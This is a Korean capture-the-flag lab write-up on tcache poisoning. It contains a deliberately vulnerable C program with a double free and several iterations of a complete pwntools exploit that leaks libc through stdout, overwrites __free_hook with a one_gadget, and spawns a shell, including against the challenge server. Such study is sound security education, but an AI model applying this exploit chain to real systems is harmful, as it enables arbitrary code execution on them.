서론
해커들은 double free bug를 이용하면 free list에 어떤 청크를 중복으로 연결시킬 수 있음을 알아냈다.
free list는 ptmalloc2의 동작에서 매우 중요한 기능을 하므로, 이 버그는 시스템에 심각한 오동작을 일으킬 수 있다.
Tcache poisoning은 중복으로 연결된 청크를 재할당하면, 그 청크가 해제된 청크인 동시에, 할당된 청크라는 특징을 이용한다.
이러한 중첩 상태를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있으며, 그 청크를 이용하여 임의 주소의 데이터를 읽거나 조작할 수 있게 된다.
Tcache Poisoning
Tcache Poisoning : tcache를 조작하여 임의 주소에 청크를 할당시키는 공격 기법
원리

중복으로 연결된 청크를 재할당하면, 그 청크는 할당된 청크이면서, 동시에 해제된 청크가 된다.
청크의 구조를 떠올려 보면, 이러한 중첩 상태가 어떻게 문제로 이어지는지 이해할 수 있다.
위의 이미지에서 왼쪽은 해제된 청크의 레이아웃이고, 오른쪽은 할당된 청크의 레이아웃이다.
이 둘을 겹쳐보면 할당된 청크에서 데이터를 저장하는 부분이 해제된 청크에서는 fd와 bk값을 저장하는 데 사용된다는 것을 알 수 있다.
따라서 공격자가 중첩 상태인 청크에 임의의 값을 쓸 수 있다면, 그 청크의 fd와 bk를 조작할 수 있다.
이는 다시 말해 ptmalloc2의 free list에 임의 주소를 추가할 수 있음을 의미한다.
ptmalloc2는 동적 할당 요청에 대해 free list의 청크를 먼저 반환하므로, 이를 이용하면 공격자는 임의 주소에 청크를 할당할 수 있다.
효과
Tcache poisoing으로 할당한 청크에 대해 값을 출력하거나, 조작할 수 있다면 임의 주소 읽기, 임의 주소 쓰기가 가능하다.
// Name: tcache_poison.c
// Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
void *chunk = NULL;
unsigned int size;
int idx;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
printf("1. Allocate\n");
printf("2. Free\n");
printf("3. Print\n");
printf("4. Edit\n");
scanf("%d", &idx);
switch (idx) {
case 1:
printf("Size: ");
scanf("%d", &size);
chunk = malloc(size);
printf("Content: ");
read(0, chunk, size - 1);
break;
case 2:
free(chunk);
break;
case 3:
printf("Content: %s", chunk);
break;
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
}
}
return 0;
}
위의 코드를 예제로 사용했다.
분석
보호 기법

먼저, 코드를 컴파일하고 checksec으로 보호 기법을 파악했다.
NX와 FULL RELRO 보호 기법이 적용된 것을 확인할 수 있다.
이런 경우, 훅을 덮는 공격을 고려해볼 수 있다.
코드 분석
예제에서는 청크를 임의 크기로 할당할 수 있고, 해제할 수 있으며, 청크의 값을 출력하거나 조작하는 것이 모두 가능하다.
case 2:
free(chunk);
break;
청크를 해제하는 case 2부분을 살펴보면, 청크를 해제하고 나서 chunk포인터를 초기화하지 않으므로 이를 다시 해제하는 것이 가능합니다. 즉, Double Free 취약점이 존재한다.
case 4:
printf("Edit chunk: ");
read(0, chunk, size - 1);
break;
default:
break;
또한, chunk포인터를 초기화하지 않으므로 해제된 청크의 데이터를 case 4에서 조작할 수 있다.
이를 이용하면 Double Free와 관련된 보호 기법을 우회할 수 있을 것이다.
익스플로잇 설계
익스플로잇의 목표는 훅을 덮어서 실행 흐름을 조작하고, 결과적으로 셸을 획득하는 것이다.
임의 주소 읽기로 libc가 매핑된 주소를 알아내고, 임의 주소 쓰기로 해당 주소에 one_gadget주소를 덮어쓰면 된다.
코드에 Double Free 취약점이 있고, 관련된 우회기법을 우회하는 것도 가능하므로 Tcache Poisoning으로 위의 primitive를 모두 획득할 수 있다.
1. Tcache Poisoning
임의 주소 읽기 및 쓰기를 위해 Tcache Poisoning을 사용할 것이다.
관련된 보호 기법이 없으므로 적당한 크기의 청크를 할당하고, key를 조작한 뒤, 다시 해제하면 Tcache Duplication이 가능하다.
그 상태에서, 다시 청크를 할당하고 원하는 주소를 값으로 쓰면 tcache에 임의 주소를 추가할 수 있을 것이다.
2. Libc leak
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf 함수에 인자로 stdin과 stdout을 전달하는데, 이 포인터 변수들은 각각 libc 내부의 IO_2_1_stdin과 IO_2_1_stdout을 가리킨다.
따라서 이 중 한 변수의 값을 읽으면, 그 값을 이용하여 libc의 주소를 계산할 수 있다.
이 포인터들은 전역 변수로서 bss에 위치하는데, PIE가 적용되어 있지 않으므로 포인터들의 주소는 고정되어 있다.
Tcache Poisoning으로 포인터 변수의 주소에 청크를 할당하여 그 값을 읽을 수 있을 것이다.
3.Hook overwrite to get shell
Libc가 매핑된 주소를 구했다면, 그로부터 one_gadget의 주소와 __free_hook의 주소를 계산할 수 있다.
다시 tcache poisoning으로 __free_hook에 청크를 할당하고, 그 청크에 적절한 one_gadget의 주소를 입력하면 free를 호출하여 셸을 획득할 수 있을 것이다.
Tcache Poisoning
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append "0x4141414141414141" to tcache[0x40]
alloc(0x30, "AAAAAAAA")
p.interactive()
pwntools로 Double Free를 일으키고, Tcache Poisoning으로 0x4141414141414141을 tcache에 추가했다.
그 상태에서 0x30크기의 청크를 두 번 할당하여 공격이 성공했는지 확인할 수 있다.
프로세스가 SIGSEGV로 종료되었으니 성공했다.

Libc leak
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "BBBBBBBB") # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
stdout 포인터의 주소를 구한 뒤 Tcache Poisoning으로 stdout의 주소에 청크를 할당하고, 값을 읽어서 libc가 매핑된 주소 및 one_gadget과 __free_hook의 주소를 계산했다.
stdout은 표준 출력과 관련된 중요한 포인터 변수이므로, 그 값을 변경하지 않도록 주의해야 한다.

처음 시도했을 때는 여기까지만 잘 출력되고 에러가 발생했다.
PIE를 제거하고 다시 실행해보았다.

이번에는 잘 출력되었다.
Hook overwrite to get shell
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = process("./tcache_poison")
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
__free_hook의 주소에 Tcache Poisoning으로 청크를 할당하고, one_gadget의 주소를 덮어쓰면, free를 호출하여 셸을 획득할 수 있다.
하지만 앞서 오염시킨 tcache[0x40]을 재사용해서는 안된다.
Tcache Poisoning으로 stdout에 청크를 할당받을 때, stdout의 fd는 _IO_2_1_stdout_이었다.
따라서 이 상태에서 0x30의 크기로 다시 할당을 요청하면, _IO_2_1_stdout_에 청크를 할당받게 된다.
해당 구조체는 표준 출력과 관련하여 중요한 역할을 하므로, 임의로 값을 조작해서는 안된다.
이런 경우에는 다른 크기의 tcache를 대상으로 공격을 시도하는 것이 좋다.
이번에는 0x40의 크기의 tcache를 이용해 __free_hook을 조작하고, free를 호출하여 셸을 획득했다.

Tcache Poisoning

위의 코드를 서버를 연결해서 해결하는 문제이다.
사용한 코드는 위와 동일하다.
# Name: tcache_poison.py
#!/usr/bin/python3
from pwn import *
p = remote("host1.dreamhack.games", 19468)
e = ELF("./tcache_poison")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(symbol, addr): return success(symbol + ": " + hex(addr))
def alloc(size, data):
p.sendlineafter("Edit\n", "1")
p.sendlineafter(":", str(size))
p.sendafter(":", data)
def free():
p.sendlineafter("Edit\n", "2")
def print_chunk():
p.sendlineafter("Edit\n", "3")
def edit(data):
p.sendlineafter("Edit\n", "4")
p.sendafter(":", data)
# Allocate a chunk of size 0x40
alloc(0x30, "dreamhack")
free()
# tcache[0x40]: "dreamhack"
# Bypass the DFB mitigation
edit("A"*8 + "\x00")
free()
# tcache[0x40]: "dreamhack" -> "dreamhack"
# Append the address of `stdout` to tcache[0x40]
addr_stdout = e.symbols["stdout"]
alloc(0x30, p64(addr_stdout))
# tcache[0x40]: "dreamhack" -> stdout -> _IO_2_1_stdout_ -> ...
# Leak the value of stdout
alloc(0x30, "B"*8) # "dreamhack"
alloc(0x30, "\x60") # stdout
# Libc leak
print_chunk()
p.recvuntil("Content: ")
stdout = u64(p.recv(6).ljust(8, b"\x00"))
lb = stdout - libc.symbols["_IO_2_1_stdout_"]
fh = lb + libc.symbols["__free_hook"]
og = lb + 0x4f432
slog("free_hook", fh)
slog("one_gadget", og)
# Overwrite the `__free_hook` with the address of one_gadget
alloc(0x40, "dreamhack")
free()
edit("C"*8 + "\x00")
free()
alloc(0x40, p64(fh))
alloc(0x40, "D"*8)
alloc(0x40, p64(og))
# Call `free()` to get shell
free()
p.interactive()
